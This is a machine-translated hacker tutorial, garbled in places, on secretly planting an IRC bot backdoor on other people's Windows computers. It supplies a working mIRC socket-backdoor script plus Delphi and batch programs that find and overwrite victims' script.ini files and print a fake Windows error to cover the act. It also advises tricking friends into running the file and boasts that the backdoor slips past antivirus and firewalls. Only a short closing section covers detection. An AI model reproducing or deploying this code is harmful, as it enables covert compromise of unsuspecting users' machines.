This page has been robot translated, sorry for typos if any. Original content here.

Wir legen den Bot unter Windows auf.



1. Einleitung
2. Trojaner.
3. mIRC-Skripte.
Ich schreibe dein Skript Backdoor
II. schreibe auf das Delphi-Programm, das die Hintertür in das feindliche mIRC einfügt
III. schreibe auf batch'ah prog, welches die Hintertür in das feindliche mIRC einfügt
IV. Social Engineering: vparivayu prog =)
4. Beide Wege im Vergleich.
5. Wie Sie sich schützen können.
6. Outro.

1. In unserer Zeit, unter den Besitzern der populären Kanäle, wurde es in Mode, an den Tunneln für ein Dutzend Bots aus verschiedenen Linux-Gehäusen zu hängen, um sozusagen "Kanalsicherheit" zu bieten. Ich habe natürlich nichts gegen alle eggdrops da draußen, aber wie man ein einfacher sterblicher Benutzer ist, der keine Shell, Scc oder Wissen hat (wie die Elite von Kanal # 31337 auf dem Server irc.dal.net.ru) =)? Also in diesem Artikel werde ich Ihnen sagen, wie man einen Bot auf einem Rechner mit einem Win-like OS hängt.
IMHO, es gibt nur zwei Möglichkeiten, dies zu tun: Trojaner und Trojaner =) Beginnen wir mit dem ersten.

2. Wenn du auf msn (irc.msn.com) vor dem Schließen warst, habe ich wahrscheinlich die n-te Anzahl von Bots auf den Kanälen #russian_chat, #russian_girls, #russian_andybig und so weiter genossen. Also, diese Bots sind keine Eiertropfen. Sozusagen SubSeven. Hast du von einem solchen Pferd gehört? Sub7 ist der einzige Trojaner in meinem Speicher, der es ermöglicht, irc-bot remote zu hängen (Ich habe lange keine Trojaner benutzt, also weiß ich nicht, ob es Analoga gibt). Also lade Sub'a von hier herunter und genieße. Wer nicht daran gewöhnt ist, nach einfachen Wegen zu suchen, kann weiterlesen.

3. Die Fähigkeiten von mirc-Skripten sind sehr beeindruckend. Um auf sie zu schreiben, ist der gleiche cgi-Scanner eine Kleinigkeit, ganz zu schweigen von einem einfachen Bot. Nimm zum Beispiel das Skript WarSatan. Es ist einfach gebaut und so ein "einfacher Bot". Wenn Sie eine Verbindung zu Ihrem bevorzugten IRC-Server herstellen, verbindet das Skript auf dem Weg den Gast des Benutzers mit dem Server irc.webchat.org und wickelt ihn auf die Kanäle #CHATOP, #MEKAH und #PANGKOR. Das ist der ganze Mechanismus der Arbeit. Unsere Aufgabe ist es, die gleiche einfache Hintertür in Form eines Welt-Plugins zu schreiben.
I. Ich werde die wichtigsten Zeilen kommentieren.

on 1:CONNECT:{
;#открываем соединение с твоим irc cервером
.sockopen 31337 irc_сервер его_порт
}
on 1:DISCONNECT:{
;#при разрыве соединения убиваем сокет
.sockclose 31337
}
on 1:SOCKOPEN:31337:{
;#авторизуемся на irc-сервере
.sockwrite -n $sockname USER BOT "" "localhost" :Satanic bot
.sockwrite -n $sockname NICK ник_бота $+ $r(1,999)
;#заходим на твой канал
.sockwrite -n $sockname join твой_канал
}
on 1:SOCKREAD:31337:{
;#этот скрипт автоматически отвечает на серверный ping
;#без него сервер будет кидать бота, потому что тот не отвечает на пинги
.sockread %tmp
if ($gettok(%tmp,1,32) == ping) {
.sockwrite -n $sockname PONG $gettok(%tmp,2-,32)
}
}


Wir entfernen Kommentare, ersetzen unsere Werte, nummerieren die Zeilen (einfach alles in den mIRC-Editor kopieren und speichern - er selbst nummeriert alle) und speichert die resultierende control.dll-Datei.
Die Hintertür selbst ist fertig. Jetzt bleibt es, es in jemandes script.ini einzufügen.

II. Hier ist die Quelle für das Delphi-Programm, das die Schraube nach der script.ini-Datei durchsucht und sie, falls das Suchergebnis erfolgreich ist, durch unsere ersetzt.

Wichtig! Control.dll sollte im selben Verzeichnis mit diesem Programm gehalten werden.

program Project1;

uses
SysUtils,
windows,
shellapi;


const search = 'script.ini'; //файл который нужно найти и заменить
replace = 'control.dll'; //файл, которым надо заменить, должен быть
// в том же месте откуда запуститься эта прога =)


var buf: array [0..255] of char;
fl: PChar;
flag:boolean = false;

//процедура замены файлов
procedure Change(where:pchar);

function CopyFile(FromFile, ToDir : string) : boolean; //функция копирования
var F : TShFileOpStruct;
begin
F.Wnd := 0; F.wFunc := FO_COPY;
FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile);
ToDir:=ToDir+#0; F.pTo:=pchar(ToDir);
F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION or FOF_SILENT;
{$I-}
result:=ShFileOperation(F) = 0;
{$I+}
end;

begin
DeleteFile(where);
CopyFile(replace,where)
end;


//процедура глоб. поиска
function Find(DirN: string):boolean;
var
tsr: TSearchRec;
Full: string;

begin
find:=false;
if FindFirst(DirN + '\*.*', faAnyFile, tsr) = 0 then
repeat
if (tsr.Name = '.') or (tsr.Name = '..') then continue;
Full:= DirN + '\' + tsr.Name;
if tsr.Attr = faDirectory then //если каталог
Find(Full);
until (FindNext(tsr) <>0)or(tsr.Name = search)or flag;

if tsr.Name = search //если нашли
then begin
find:=true;
flag:=true;
Change(pchar(DirN+'\'+tsr.Name));
end;

end;


//Основной блок программы
begin
if SearchPath(nil,search,nil,sizeof(buf),buf,fl)>0 then
Change(buf)
else
begin
Find('c:');
// если надо и на других дисках искать то можешь сделать так:
// if Not Find('c:') then
// if Not Find('d:') then
// if Not Find('e:') then
//etc....
end;

end.


III. Wenn Sie nicht mit der Gattung codieren und der cha die Hefe aus dem Wort "compiler" wirft, schreiben wir ein solches Programm auf batch'ah.

echo off
cls
if exist mirc.ini goto in_the_same_dir
if exist c:\mirc\MIRC.INI set mirc=c:\mirc
if exist c:\mirc\mirc\MIRC.INI set mirc=c:\mirc\mirc
if exist c:\irc\MIRC.INI set mirc=c:\irc
if exist c:\irc\mirc\MIRC.INI set mirc=c:\irc\mirc
if exist c:\chat\mirc\MIRC.INI set mirc=c:\chat\mirc
if exist c:\chat\MIRC.INI set mirc=c:\chat
if exist c:\progra~1\mirc\MIRC.INI set mirc=c:\progra~1\mirc
if exist c:\chat\looksharp\MIRC.INI set look=c:\chat\looksharp
if exist c:\mirc\looksharp\MIRC.INI set look=c:\mirc\looksharp
if exist c:\irc\looksharp\MIRC.INI set look=c:\irc\looksharp
if exist c:\progra~1\looksharp\MIRC.INI set look=c:\progra~1\looksharp
if exist c:\progra~1\trion\MIRC.INI set neo=c:\progra~1\trion
if exist c:\progra~1\neo-ra\MIRC.INI set neo=c:\progra~1\neo-ra
if exist c:\progra~1\NeoRa\Trion\MIRC.INI set neo=c:\progra~1\NeoRa\Trion
if exist c:\progra~1\NeoRa\MIRC.INI set neo=c:\progra~1\NeoRa
if exist c:\chat\NeoRa\MIRC.INI set neo=c:\chat\NeoRa
if exist c:\irc\NeoRa\MIRC.INI set neo=c:\irc\NeoRa
if exist c:\chat\neo-ra\MIRC.INI set neo=c:\chat\neo-ra
if exist c:\irc\neo-ra\MIRC.INI set neo=c:\irc\neo-ra
if exist c:\chat\Trion\MIRC.INI set neo=c:\chat\Trion
if exist c:\irc\Trion\MIRC.INI set neo=c:\irc\Trion
if exist c:\Trion\MIRC.INI set neo=c:\Trion
if exist c:\NeoRa\MIRC.INI set neo=c:\NeoRa
if exist c:\Neo-ra\MIRC.INI set neo=c:\Neo-ra
if exist d:\chat\NeoRa\MIRC.INI set neo_here=d:\chat\NeoRa
if exist d:\irc\NeoRa\MIRC.INI set neo_here=d:\irc\NeoRa
if exist d:\chat\neo-ra\MIRC.INI set neo_here=d:\chat\neo-ra
if exist d:\irc\neo-ra\MIRC.INI set neo_here=d:\irc\neo-ra
if exist d:\chat\Trion\MIRC.INI set neo_here=d:\chat\Trion
if exist d:\irc\Trion\MIRC.INI set neo_here=d:\irc\Trion
if exist d:\Trion\MIRC.INI set neo=d:\Trion
if exist d:\NeoRa\MIRC.INI set neo=d:\NeoRa
if exist d:\Neo-ra\MIRC.INI set neo=d:\Neo-ra
if exist d:\mirc\MIRC.INI set mirc=d:\mirc
if exist d:\mirc\mirc\MIRC.INI set mirc=d:\mirc\mirc
if exist d:\irc\MIRC.INI set mirc=d:\irc
if exist d:\irc\mirc\MIRC.INI set mirc=d:\irc\mirc
if exist d:\chat\mirc\MIRC.INI set mirc=d:\chat\mirc
if exist d:\chat\MIRC.INI set mirc=d:\chat
if exist d:\looksharp\MIRC.INI set look=d:\looksharp
if exist d:\chat\looksharp\MIRC.INI set look=d:\chat\looksharp
if exist d:\mirc\looksharp\MIRC.INI set look=d:\mirc\looksharp
if exist d:\irc\looksharp\MIRC.INI set look=d:\irc\looksharp
if "%mirc%"=="" goto no_mirc
deltree /y %mirc%\script.ini
copy control.dll %mirc%\script.ini
cls
:no_mirc
if "%look%"=="" goto no_look
deltree /y %look%\System\lookevents04.sys
copy control.dll %look%\System\lookevents04.sys
cls
:no_look
if "%neo%"=="" goto end
deltree /y %neo%\root\trionscr7.ini
copy control.dll %neo%\root\trionscr7.ini
cls
goto end
:in_the_same_dir
deltree /y script.ini
copy control.dll script.ini
:end
echo Your Microsoft Windows is not correctly installed.
echo Pleas re-install it and try again

Dieses Kanu nach der Poke-Methode sucht nach mIRC, NeoRa Trion und Looksharp. Die Wahrscheinlichkeit des Findens ist ziemlich unbedeutend, so dass es wünschenswert ist, den Betreffenden zu überreden, diese Datei zusammen mit control.dll in einem Verzeichnis mit seinem irc-Client zu speichern. Im Falle eines erfolgreichen Suchergebnisses wird die Datei durch eine andere script.ini von unserer control.dll ersetzt.
Konvertieren Sie diesen Bat'nik in exe'shnik etwas bat2exec'om und Sie können Ihre Freunde vparivat.

IV. Ich denke, es ist nicht für mich, Ihnen zu sagen, wie man jemanden exs'shnik "vparivat". Ich möchte nur ein Merkmal hervorheben. Stimmen Sie zu, bitte beginnen Sie Ihren Exeshnik evoziert Verdacht selbst bei den intimsten Benutzer. Sie können also in die andere Richtung gehen. Um dies zu tun, gehe zurück zu Schritt I. NUMMER die Zeile des Skripts NICHT NUMMERN, einfach in die Datei joke.mrc einfügen. Das ist alles. Jetzt gib es deinen Freunden mit den Worten: setze es in den Katalog mit deiner Welt, trage in seine Konsole "/ load -rs joke.mrc" ein und genieße alle Reize des Steckers =)

4. Und was ist der beste Weg, script.ini zu ersetzen?
1) wird nicht von Antivirus-Software abgefangen
2) wird nicht von FairWalls erfasst. Ich denke, dass viele Menschen mit ihrem Schaum aus dem Mund beweisen werden, dass ZoneAlarm und AtGuard sie davor schützen werden. Speziell für sie erkläre ich: Wenn mIRC in diesen beiden Firewalls als Allowed Server \ Client registriert ist, schaut der FV nicht einmal, wenn die Verbindung durch die Hintertür geöffnet wird.
3) Es ist schwierig, sogar einen erfahrenen Benutzer zu erkennen / zu töten

5. Und jetzt, wie man sich schützt. Auch hier werde ich die Methode mit Sub7'om nicht in Betracht ziehen (weil damit alles klar ist: AVP + ZoneAlarm), werde ich gleich zur zweiten gehen.
Zur Erkennung einer Skript-Hintertür lohnt es sich, ein mIRC-Plugin wie IPSearch'a zu verwenden, das auf dem Server des Benutzers mit der gleichen IP wie Sie suchen würde. Wenn es einen gibt, hat jemand definitiv einen Bot an dich gehängt. Wenn dies nicht gefunden wird, dann entweder der Bot auf einem anderen Server, oder du bist sauber.
Um den Bot zu erkennen, können Sie auch den gleichen ZAlarm verwenden: Im Moment prüfen die größten IRC-Server alle Clients auf dem Proxy. Auf welche Weise? Ein einfacher Port-Scan. Also, wenn Sie eine Verbindung zu dem Server irc.some.com herstellen, und die Ports an der TA einige irc.lame.com scannen, lohnt es sich, darüber nachzudenken ...
Wie man eine Hintertür tötet? Wenn Sie das Scripting nicht verstehen, installieren Sie einfach den IRC-Client neu.

6. Nun, was kann ich abschließend sagen? Verwende keine unbekannten Skripte und zwinge andere nicht dazu, dies zu tun =)